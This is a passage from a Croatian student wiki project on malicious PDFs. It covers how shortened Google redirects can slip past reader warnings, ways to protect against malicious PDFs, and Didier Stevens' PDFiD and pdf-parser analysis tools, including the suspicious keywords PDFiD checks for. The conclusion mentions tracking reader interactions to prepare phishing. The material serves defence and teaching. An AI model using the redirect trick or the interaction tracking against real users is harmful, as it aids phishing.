Ako usporedimo novo dobivenu i prethodnu poruku može se vidjeti da nova i nije baš toliko naivna i zasigurno se za prosječnog korisnika interneta ne radi o zlonamjernoj stranici. Također, može se vidjeti da niti nema nastavak daljnjeg linka (/hEi6bg) čime korisnik ne može niti znati o kojem se URL radi već zna samo da se radi o servisu. Da stvar bude bolja, ukoliko korisnik već ima na svojoj bijeloj listi dopušteno bilo što što u sebi sadrži google, ova poruka se neće prikazati već će se direktno izvršiti. Stoga je potrebno voditi računa i o takvom načinu razmišljanja napadača, odnosno o mogućem preusmjeravanju stranice ma koliko se god ona činila sigurnom.

Mjere zaštite od malicioznih PDF-ova

Svakodnevno se susrećemo s velikim brojem PDF dokumenata, pa se shodno tome moramo i nekako zaštiti od mogućih napada putem njihovih ranjivosti. Kao i uvijek, vjerojatno najvažnija mjera zaštite je procjena može li se vjerovati sadržaju kojeg otvaramo, odnosno dolazi li on iz pouzdanog izvora, bio to e-mail ili neka web stranica. Najsigurnije je uvijek imati nadograđen PDF alat na zadnju dostupnu inačicu, ali to često nije dovoljno, pogotovo u slučaju PDF-a. Potrebno je pratiti preporuke proizvođača jer je čest slučaj da proizvođač tek treba izdati zakrpu za neku ranjivost svojih alata (koja se već iskorištava), no zato postoji neko privremeno rješenje. Kod nekih slučajeva pomaže isključivanje podrške za JavaScript u PDF čitaču. U Adobe Readeru to se radi ovako:

Uređivanje -> Preference -> JavaScript i maknuti kvačicu sa „Enable Acrobat JavaScript“

Ostale mjere zaštite korisne mjere zaštite su isključivanje automatskog prikaza PDF dokumenata unutar Web preglednika jer ako dokument prije otvaranja pohranimo na tvrdi disk, anti-virusni softver ima veću šansu otkriti zloćudan sadržaj. Također, danas se javljaju mnogi alternativni čitači umjesto Adobe Readera. Napadači su se koncentrirali na ovaj alat zbog njegove popularnosti i mnogi napadi ne pogađaju alternativne alate (naravno to se ne odnosi na one koji koriste propuste u PDF specifikaciji).[4]

Didier Stevens [6] je razvio nekoliko alata koji omogućavaju analiziranje PDF dokumenata otkrivajući pritom je li PDF zloćudan ili nije. Prvi isprobani alat je PDFiD koji pretražuje dani PDF prema određenim ključnim riječima: obj, endobj, stream, endstream, xref, trailer, startxref, /Page, /Encrypt, /ObjStm, /JS, /JavaScript, /AA, /OpenAction, /JBIG2Decode, /RichMedia, /Launch, /XFA, a ujedno se koristi metodama kojima otkriva prikriveni, obfuscirani kod.

Drugi alat je pdf-parser, koji za razliku od PDFiDa posjeduje znanje o strukturi PDF dokumenata te može prepoznavati indirektne objekte, a također i dekomprimirati (koristiti filtre) kako bi npr. otkrio skriveni JavaScript kod u objektu tipa object stream. Analiza ovim alatom zahtijeva dosta vremena i poznavanje tehnika postavljanja zloćudnog koda u PDF, ranije spomenutih u ovom dokumentu. Primjer korištenja pdf-parsera dan je na sljedećoj slici.

PDFParser.png

Zaključak

Iako mnogi korisnici računala smatraju da je PDF format datoteka siguran način za razmjenu dokumenata i podataka, u posljednjih nekoliko godina napadači ih sve više koriste za izvršavanje zlonamjernog koda na udaljenim računalima. Na primjer, PDF format podržava ugrađene podatke, izvršavanje JavaScripta i vanjskog softvera. Kroz podatke se može vidjeti da je postojao, pa čak se usudim reći i dalje postoji velik broj ranjivosti ovog formata koji se može iskoristiti. Praktički je ovdje rječ o dosta ozbiljnoj prijetnji ne samo za korisnika pojedinačno već i za mnoge organizacije. Treba biti vrlo oprezan kod otvaranja dokumenata i držati se svih navedenih mjera zaštite kod dokumenata za koje sumnjate. Adobe će, kao tvtka najviše pogođena napadima, u budućnosti sigurno više pažnje posvetiti sigurnosti i što bržem ispravljanju propusta. S druge strane, možemo očekivati pojavu novih, sve naprednijih napada kroz ne dokumentirane Javascript funkcije, neočekivane ugrađene čitače dokumenata što je bio slučaj u ovom projektu, ugrađene postscript programe, plug-ine web preglednika i slično. Adobe svakom novom verzijom ispravlja i krpa svoje nedostatke prebacujući sve više na blacklist approach kojim se zabranjuje sve što nije eksplicitno dozvoljeno i po mojem mišljenju su to trebali još prije učiniti. Isto tako valja spomenuti ostale alate za baratanje PDF-ovima poput Foxita koji je također značajno unaprijedio sigurnost korisnika.

U ovom projektu kroz praktični dio može se vidjeti kako se na jednostavan način mogu pratiti korisnikove interakcije unutar PDF-a i time dobiti određene informacije koje se kasnije mogu iskoristiti za phishing, odnosno slanje nekog novog PDF-a u kojem je ugrađen javascript kod za napad na korisnika.

Literatura

[1] PDF Reference: Adobe® Portable Document Format, Version 1.7, Adobe Systems Incorporated, dostupno na: https://www.adobe.com/content/dam/acom/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf

[2] Raynal, F., G. Delugré and D. Aumaitre. (2008). Malicious origami in PDF, Journal in Computer Virology, dostupno na: esec-lab.sogeti.com/static/publications/08-pacsec-maliciouspdf.pdf

[3] The Rise of PDF Malware, http://www.symantec.com/connect/blogs/rise-pdf-malware

[4] Carnet, (2010) Ranjivost PDF datoteka. Dostupno na: http://www.cert.hr/sites/default/files/NCERT-PUBDOC-2010-10-315_1.pdf

[5] D. Stevens, Blog., dostupno na: http://blog.didierstevens.com

[6] D. Stevens, PDF alati., dostupno na: https://blog.didierstevens.com/programs/pdf-tools/

Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima